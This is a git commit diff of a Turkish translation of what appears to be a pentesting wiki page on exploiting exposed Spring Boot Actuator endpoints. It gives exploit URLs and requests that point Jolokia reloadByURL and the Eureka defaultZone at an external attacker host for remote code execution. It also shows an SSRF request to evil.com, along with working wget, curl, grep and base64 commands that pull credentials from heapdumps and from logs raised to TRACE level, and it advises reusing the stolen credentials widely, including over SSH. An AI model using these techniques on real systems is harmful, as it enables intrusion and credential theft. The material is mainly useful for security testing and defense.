Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a

This commit is contained in:
Translator 2025-09-03 16:58:17 +00:00
parent a50273bc3f
commit ccc4c583b7
2 changed files with 401 additions and 299 deletions

File diff suppressed because it is too large Load Diff

View File

@ -8,28 +8,28 @@
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Spring Boot Actuator'ları Sömürme
## Spring Boot Actuator'larının İstismarı
**Orijinal gönderiyi kontrol edin** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Orijinal gönderiyi şuradan kontrol edin:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Ana Noktalar:**
- Spring Boot Actuator'ları `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
- Belirli Actuator uç noktaları hassas verileri açığa çıkarabilir veya zararlı eylemlere izin verebilir:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`.
- Spring Boot 1.x'te, actuator'lar kök URL altında kaydedilirken, 2.x'te `/actuator/` temel yolu altındadır.
- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrasında varsayılan olarak yalnızca `/health` ve `/info` hassas olmayan olarak bırakılır, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
- Bazı Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlılemlere izin verebilir:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`.
- Spring Boot 1.x'te actuator'lar kök URL altında kayıtlıyken, 2.x'te `/actuator/` temel yolu altındadır.
### **Sömürü Teknikleri:**
### **İstismar Teknikleri:**
1. **'/jolokia' Üzerinden Uzaktan Kod Çalıştırma**:
- `/jolokia` actuator uç noktası, MBean'lere HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır.
- `reloadByURL` eylemi, dış bir URL'den günlük yapılandırmalarını yeniden yüklemek için sömürülebilir; bu, kör XXE veya özel XML yapılandırmaları aracılığıyla Uzaktan Kod Çalıştırma ile sonuçlanabilir.
- Örnek sömürü URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **'/env' Üzerinden Yapılandırma Değişikliği**:
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` actuator endpoint'i, Jolokia Library'yi açığa çıkarır ve bu, MBean'lere HTTP ile erişim sağlar.
- `reloadByURL` action'ı, harici bir URL'den logging konfigürasyonlarını yeniden yüklemek için suistimal edilebilir; bu, hazırlanmış XML konfigürasyonları üzerinden blind XXE veya Remote Code Execution'a yol açabilir.
- Örnek exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Konfigürasyon Değişikliği via '/env'**:
- Spring Cloud Kütüphaneleri mevcutsa, `/env` uç noktası çevresel özelliklerin değiştirilmesine izin verir.
- Özellikler, Eureka serviceURL'deki XStream deserialization açığını sömürmek gibi zafiyetleri istismar etmek için manipüle edilebilir.
- Örnek sömürü POST isteği:
- Eğer Spring Cloud Libraries mevcutsa, `/env` endpoint'i çevresel özelliklerin değiştirilmesine izin verir.
- Özellikler, Eureka serviceURL'deki XStream deserialization açığı gibi zayıflıkları istismar etmek için manipüle edilebilir.
- Örnek exploit POST isteği:
```
POST /env HTTP/1.1
@ -40,25 +40,101 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Diğer Kullanışlı Ayarlar**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirme gibi çeşitli sömürüler için manipüle edilebilir.
3. **Diğer Faydalı Ayarlar**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL injection veya veritabanı bağlantı stringlerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir.
### **Ek Bilgiler:**
- Varsayılan actuator'ların kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir.
- Spring Boot 2.x'teki `/env` uç noktası, özellik değişikliği için JSON formatını kullanır, ancak genel kavram aynı kalır.
- Spring Boot 2.x'teki `/env` endpoint'i, özellik değişiklikleri için JSON formatı kullanır; fakat genel konsept aynıdır.
### **İlgili Konular:**
1. **Env + H2 RCE**:
- `/env` uç noktası ve H2 veritabanının kombinasyonunu sömürme detayları [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
- `/env` endpoint'i ile H2 veritabanının kombinasyonunun nasıl istismar edileceğine dair detaylar [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
2. **Yanlış Yol Adı Yorumlaması Üzerinden Spring Boot'ta SSRF**:
- Spring çerçevesinin HTTP yol adlarındaki matris parametrelerini (`;`) ele alması, Sunucu Tarafı İstek Sahteciliği (SSRF) için sömürülebilir.
- Örnek sömürü isteği:
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring framework'ünün HTTP yol adlarındaki matrix parametrelerini (`;`) işlemesi, Server-Side Request Forgery (SSRF) için kullanılabilir.
- Örnek exploit isteği:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump ile gizli bilgilerin çıkarılması (credentials, tokens, internal URLs)
Eğer `/actuator/heapdump`ık durumdaysa, genellikle canlı gizli bilgileri içeren tam bir JVM heap snapshot'ı alabilirsiniz (DB creds, API anahtarları, Basic-Auth, dahili servis URL'leri, Spring property map'leri vb.).
- İndir ve hızlı ön inceleme:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Daha derin analiz için VisualVM ve OQL:
- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya gizli bilgileri aramak için OQL çalıştırın:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- JDumpSpider ile otomatik çıkarım:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Tipik yüksek değerli bulgular:
- `DataSourceProperties` / `HikariDataSource` gibi Spring nesneleri `url`, `username`, `password` bilgilerini açığa çıkarabilir.
- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ifşa edebilir.
- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçaları.
İpuçları:
- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve her zaman `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin.
- Heapdump'tan elde edilen credentials genellikle bitişik servisler için ve bazen sistem kullanıcıları (SSH) için de çalışır; bu yüzden genişçe deneyin.
## Actuator loggers/logging'i kötüye kullanarak kimlik bilgilerini yakalama
Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers`ık durumdaysa, kimlik doğrulama ve istek işleme paketleri için log seviyesini dinamik olarak DEBUG/TRACE seviyesine çıkarabilirsiniz. `/actuator/logfile` veya bilinen log yolları üzerinden okunabilir loglarla birleştirildiğinde, bu login akışları sırasında gönderilen kimlik bilgileri (ör. Basic-Auth header'ları veya form parametreleri) sızdırılabilir.
- Duyarlı logları listeleyin ve yükseltin:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Logların nerede yazıldığını bulun ve toplayın:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Login/authentication trafiğini tetikleyin ve logları kimlik bilgileri için parse edin. Gateway ile önüne konulan auth içeren mikroservis kurulumlarında, gateway/security paketleri için TRACE etkinleştirmek genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlar periyodik olarak sentetik login trafiği bile üretebilir; logging verbose hale geldiğinde bu tür verilerin toplanması çok kolay olabilir.
Notlar:
- İşiniz bittiğinde log seviyelerini sıfırlayın: `POST /actuator/loggers/<logger>` ile `{ "configuredLevel": null }`.
- Eğer `/actuator/httpexchanges`ık ise, hassas header'ları içerebilecek son istek meta verilerini de gösterebilir.
## Referanslar
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}}